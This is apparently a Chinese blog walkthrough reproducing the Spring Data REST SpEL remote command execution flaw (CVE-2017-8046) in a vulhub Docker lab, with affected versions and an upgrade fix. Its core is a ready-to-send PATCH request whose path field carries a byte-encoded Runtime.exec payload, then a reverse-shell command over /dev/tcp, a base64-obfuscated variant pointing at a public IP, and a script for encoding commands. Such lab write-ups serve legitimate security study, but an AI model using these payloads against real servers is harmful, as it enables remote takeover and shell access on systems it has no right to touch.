vulhub中Spring之CVE-2017-8046漏洞复现

  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
    • 漏洞复现
      • 漏洞说明
      • 漏洞利用条件和方式
      • 漏洞影响范围
      • 漏洞检测
      • 环境搭建
      • 漏洞复现
      • 漏洞修复

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

漏洞复现

漏洞说明

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

漏洞利用条件和方式

网站使用Spring Data REST提供REST Web服务,且版本在受影响范围内。

漏洞影响范围

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本
Spring Boot 2.0.0M4之前的版本
Spring Data release trains Kay-RC3之前的版本

漏洞检测

开发人员检查使用的Spring框架是否在受影响版本范围内。

环境搭建

执行如下命令启动漏洞环境:

docker-compose up -d

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

漏洞复现

需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:

1.请求头为Content-Type: application/json-patch+json;
2.需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割。

访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success
(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }表示的命令:open /Applications/Calculator.app

1、访问http://your-ip:8080/customers/1,看到一个资源。

2、抓包修改GET为PATCH请求,添加请求头为Content-Type: application/json-patch+json;添加命令参数。

Content-Type: application/json-patch+json(必须修改这里)
path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success
3、执行后,进入容器docker-compose exec spring bash查看,创建success文件:

4、尝试将bytecode改成反弹shell的命令(注意:Java反弹shell的限制与绕过方式)

执行命令:`bash -i >& /dev/tcp/127.0.0.1/7777 0>& 1`转换:`bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjE5My45Mi8yMjIyIDA+JiAx}|{base64,-d}|{bash,-i}`改成10进制编码:`[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,78,84,65, 117,77,84,85,52,76,106,69,53,77,121,52,53,77,105,56,121,77,106,73,121,73,68,65,43,74,105,65,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastName", "value": "vulhub" }]`

(文后附python转编码的脚本)

5、修改path中的值,发包:

6、反弹成功!

附加:
字符串转ASiiC码

[root@VM_0_9_centos CVE-2017-8046]# vim char.py
import numpy as npstr = 'touch /tmp/success'ascii = np.fromstring(str, dtype=np.uint8)print(ascii)
[root@VM_0_9_centos CVE-2017-8046]# python char.py
[116 111 117  99 104  32  47 116 109 112  47 115 117  99  99 101 115 115]

漏洞修复

升级到以下最新版本:
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
Spring Boot 2.0.0.M4
Spring Data release train Kay-RC3

vulhub中Spring之CVE-2017-8046漏洞复现相关推荐

  1. 【vulhub系列】cve-2018-1273S pring Expression Language 漏洞复现

    记录一次cve-2018-1273S pring Expression Language 漏洞复现 文章目录 前言 一.环境搭建 二.进行漏洞复现 前言 对于漏洞信息和打开docker就不做步骤了. ...

  2. spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)

    3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942).攻击者利用该漏洞,可在未授权的情况下远 ...

  3. CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现

    目录 一.环境搭建 1.下载vulhub 2.启动环境 二.漏洞复现 1.使用nmap扫描目标 2.运行POC验证漏洞 3.POC代码 三.修复方法 一.环境搭建 1.下载vulhub kali系统输 ...

  4. fastjson框架漏洞复现

    0x01fastjson介绍 fastjson是阿里巴巴开源的json解析库,通常被用于java object和json字符之间进行转换,提供两个方法json.tojsonstring和json.pa ...

  5. 【漏洞复现-discuz-wooyun-命令执行】vulfocus/discuz-wooyun_2010_080723

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  6. tomcat8弱口令漏洞复现与getshell

    目录 一.环境搭建 1.下载vulhub 2.启动环境 二.漏洞复现 1.使用默认用户名密码tomcat:tomcat登录http://your-ip:8080/manager/html 2.上传we ...

  7. Gitlab 任意文件读取漏洞 CVE-2016-9086 漏洞复现

    Gitlab 任意文件读取漏洞(CVE-2016-9086) by ADummy 0x00利用路线 ​ 上传poc.tar.gz文件->读取到etc/passwd 0x01漏洞介绍 ​ 2018 ...

  8. vulhub中漏洞复现1

    CVE-2018-18778 CVE-2018-18778是基于mini_httpd的一个任意文件读取漏洞 Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的 ...

  9. linux内核安全数据,【漏洞分析】Linux内核XFRM权限提升漏洞分析预警(CVE–2017–16939)...

    0x00 背景介绍 2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink socket子系统(XFRM)的漏洞,漏 ...

最新文章

  1. AD域中删除OU,提示没权限。 解决办法。
  2. MESSL(maven + extjs + spring portlet mvc + spring web flow + liferay )整合架构 1
  3. Go命令行库Cobra的使用
  4. CSS 小结笔记之em
  5. [导入]FtpClient Library升级到4.x
  6. sharepoint中使用xslt构建Spotlight(焦点图效果)
  7. 2019-05-16mysql忘记密码怎么办
  8. 使用客户端工具SecureCRT连接linux
  9. RTl8188EUS设置ap模式
  10. n维椭球体积公式_考前必背!数量关系、资料分析常用公式汇总!不再头大!...
  11. springboot+vue+elementUI 校园志愿者管理系统#毕业设计
  12. 建议更新IE浏览器的版本
  13. uchome迁移问题
  14. activity透明主题引起生命周期的变化
  15. 游戏服务器的常用架构
  16. 中国版自动驾驶分级出炉!没有自动驾驶明星公司参与制定
  17. 小米随星借(原小米贷款)提升服务水平,帮助用户解决用款难问题
  18. tushare实战分析美元黄金与美债收益率、利率的关系
  19. Git提示:ssh: Could not resolve hostname github.com: No address associated with hostname
  20. Job for postfix.service failed because the control process exited with error code. See systemctl st

热门文章

  1. 资深SEM专家的“创意撰写”心得,果断收藏!
  2. java 图片线条_如何在一个图中为不同的图形获得不同的彩色线条?
  3. 第10章第28节:使用Biomes生成类似于生物群落的艺术图像 [PowerPoint精美幻灯片实战教程]
  4. 怎样在文章末尾添加尾注(将尾注的数字变为方括号加数字)
  5. 第11章 经济发展要围绕着生活的幸福而展开
  6. iPhone/iPad开发模拟器(Simulator)截屏
  7. selenium+python自动登录淘宝问题
  8. layerUI异步改同步
  9. phpword 模板替换并导出教程
  10. java如何获取当前日期和时间